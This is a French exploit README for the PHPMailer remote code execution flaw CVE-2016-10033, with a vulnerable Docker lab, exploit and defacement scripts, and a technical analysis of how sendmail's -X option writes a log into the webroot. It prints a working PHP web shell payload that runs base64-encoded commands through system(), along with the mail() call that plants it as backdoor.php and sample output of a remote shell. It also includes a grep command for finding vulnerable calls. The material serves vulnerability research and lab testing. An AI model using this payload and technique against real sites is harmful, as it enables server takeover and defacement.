
Exploit d'exécution de code à distance de PHPMailer < 5.2.18 et conteneur vulnérable
PHPMailer est la classe de transport la plus populaire au monde, avec environ 9 millions d'utilisateurs dans le monde. Les téléchargements se poursuivent quotidiennement à un rythme soutenu. Il est utilisé par de nombreux projets open-source : WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! et bien d'autres
PHPMailer, avant sa version 5.2.18, souffre d'une vulnérabilité qui pourrait conduire à une exécution de code à distance (RCE). La fonction mailSend du transport isMail dans PHPMailer, lorsque la propriété Sender n'est pas définie, pourrait permettre à des attaquants distants de passer des paramètres supplémentaires à la commande mail et, par conséquent, d'exécuter du code arbitraire via un \" (antislash suivi d'un guillemet double) dans une adresse From spécialement conçue.
Pour configurer un environnement vulnérable pour votre test, vous aurez besoin de Docker installé, puis exécutez simplement la commande suivante :
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
Et cela lancera une application web vulnérable sur le port 8080 de votre hôte

Pour exploiter cette cible, exécutez simplement :
./exploit host:port
Si vous utilisez cette image vulnérable, vous pouvez simplement exécuter :
./exploit localhost:8080
Après l'exploitation, un fichier appelé backdoor.php sera stocké dans le dossier racine du site web. L'exploit vous donnera ensuite un shell dans lequel vous pourrez envoyer des commandes à la backdoor :
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
Et voilà, vous avez votre shell. Il existe un autre exploit, qui illustre un autre cas d'utilisation.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
Et si vous visitez à nouveau la page, vous verrez ceci :

Avant ce commit dans class.phpmailer.php, dans un certain scénario, aucun filtre n'est appliqué aux caractères spéciaux de l'adresse email de l'expéditeur. Cette faille peut conduire à une exécution de code à distance, via la fonction mail ici.
En analysant le code, il n'y a aucun filtre dans la fonction mailSend()
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender est directement ajouté à la variable $params. La valeur a été filtrée dans la fonction validateAddress(), mais comme celle-ci suit la spécification RFC 3696, elle autorise certains caractères qui peuvent tout casser. Dans ce cas, les guillemets :
En plus de l'échappement à l'aide du caractère antislash, les guillemets doubles conventionnels peuvent être utilisés pour entourer des chaînes. Par exemple
"Abc@def"@example.com
"Fred Bloggs"@example.com
sont des formes alternatives des deux premiers exemples ci-dessus. Ces formes entre guillemets sont rarement recommandées et sont peu courantes en pratique, mais, comme indiqué ci-dessus, elles doivent être prises en charge par les applications qui traitent des adresses email. En particulier, les formes entre guillemets apparaissent souvent dans le contexte d'adresses associées à des transitions depuis d'autres systèmes et contextes ; ces exigences transitoires se présentent encore et, puisqu'un système qui accepte une adresse email fournie par l'utilisateur ne peut pas « savoir » si cette adresse est associée à un système hérité, les formes d'adresse doivent être acceptées et transmises dans l'environnement email.
Vous pouvez lire l'intégralité de la RFC ici si vous le souhaitez. Mais aussi, si la version de PHP est inférieure à 5.2.0 et que PCRE n'est pas installé, la variable $patternselect dans validateAddress() sera définie sur noregex. Cela aura pour conséquence que l'entrée pourra éviter toute vérification par regex. Elle ne passera qu'à travers une petite vérification :
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
Ensuite, le flux du code passe à la fonction mailPassthru(), qui, si elle s'exécute en safe_mode, ne sera pas vulnérable à cette faille, comme le montre le code suivant
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
Mais, s'il ne s'exécute pas en safe_mode, alors notre paramètre spécial sera transmis à mail() et, si nous avons de la chance, il fera en sorte que notre fichier, contenant ce que nous voulons, soit écrit à l'endroit que nous avons choisi.
L'exploitation de la fonction mail() de PHP n'est pas une nouveauté, mais elle est toujours d'actualité et les gens l'utilisent encore. Pour expliquer comment cela fonctionne, regardons comment la fonction mail() est définie :
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
Il existe plusieurs méthodes d'exploitation pour différents résultats ; nous nous concentrerons sur l'exploitation du 5e paramètre pour obtenir une exécution de code à distance (RCE). Le paramètre $additional_parameters est utilisé pour passer des drapeaux supplémentaires comme options de ligne de commande au programme configuré pour envoyer l'email. Cette configuration est définie par la variable sendmail_path.
Une note de sécurité issue de la documentation officielle de PHP :
Le paramètre additional_parameters peut être utilisé pour passer des drapeaux supplémentaires comme options de ligne de commande au programme configuré pour être utilisé lors de l'envoi de courrier, comme défini par le paramètre de configuration sendmail_path. Par exemple, cela peut être utilisé pour définir l'adresse de l'expéditeur de l'enveloppe lors de l'utilisation de sendmail avec l'option -f sendmiail.
Ce paramètre est échappé en interne par escapeshellcmd() pour empêcher l'exécution de commandes. escapeshellcmd() empêche l'exécution de commandes, mais permet d'ajouter des paramètres supplémentaires. Pour des raisons de sécurité, il est recommandé à l'utilisateur d'assainir ce paramètre afin d'éviter l'ajout de paramètres indésirables à la commande shell.
Compte tenu des paramètres supplémentaires qui peuvent être injectés, nous utiliserons -X pour exploiter cette faille. En savoir plus sur le paramètre -X
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
Il existe également d'autres paramètres intéressants dont vous devriez connaître l'existence :
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
Et
-O option=value
Set option option to the specified value. This form uses long names.
Et pour l'option -O, QueueDirectory est l'option la plus intéressante ; cette option sélectionne le répertoire dans lequel les messages sont mis en file d'attente.
Si vous souhaitez lire la liste complète des paramètres et options, lancez simplement man sendmail ou lisez-la en ligne ici
Sur la base de ces informations et de la capacité à contrôler au moins un des autres paramètres, nous pouvons exploiter l'hôte. Voici les étapes pour une exploitation réussie :
$additional_parameters et un autre paramètre de mail()webroot (c'est-à-dire /var/www/html pour d'autres systèmes, /www pour cet exemple)system() dans cet exemple, avec une touche de base64 et quelques caractères spéciaux | pour la rendre plus facile à analyser.Rappelez-vous que l'option -X écrira le fichier journal, qui contiendra, parmi les informations du journal, votre charge utile PHP, dans le répertoire que vous indiquerez. Un exemple de code PHP vulnérable :
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
Si vous exécutez le code ci-dessus, il créera un fichier journal dans /www/backdoor.php ; c'est l'essence de cet exploit.
Ci-dessous la charge utile utilisée dans cet exemple
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
Vous voulez un moyen simple, en une seule commande, d'essayer de repérer cette faille ? Retenez cette commande grep magique !
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
En l'exécutant sur ce dépôt, le résultat sera
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
Cette vulnérabilité a été découverte par Dawid Golunski.
Ce programme, comme les précédents, est uniquement à des fins éducatives. Ne l'utilisez pas sans autorisation. La clause de non-responsabilité habituelle s'applique, en particulier le fait que je (opsxcq) ne suis pas responsable des dommages causés par l'utilisation directe ou indirecte des informations ou fonctionnalités fournies par ces programmes. L'auteur ou tout fournisseur d'accès Internet ne porte AUCUNE responsabilité quant au contenu ou à la mauvaise utilisation de ces programmes ou de tout dérivé de ceux-ci. En utilisant ces programmes, vous acceptez le fait que tout dommage (perte de données, crash système, compromission du système, etc.) causé par l'utilisation de ces programmes n'est pas de la responsabilité d'opsxcq.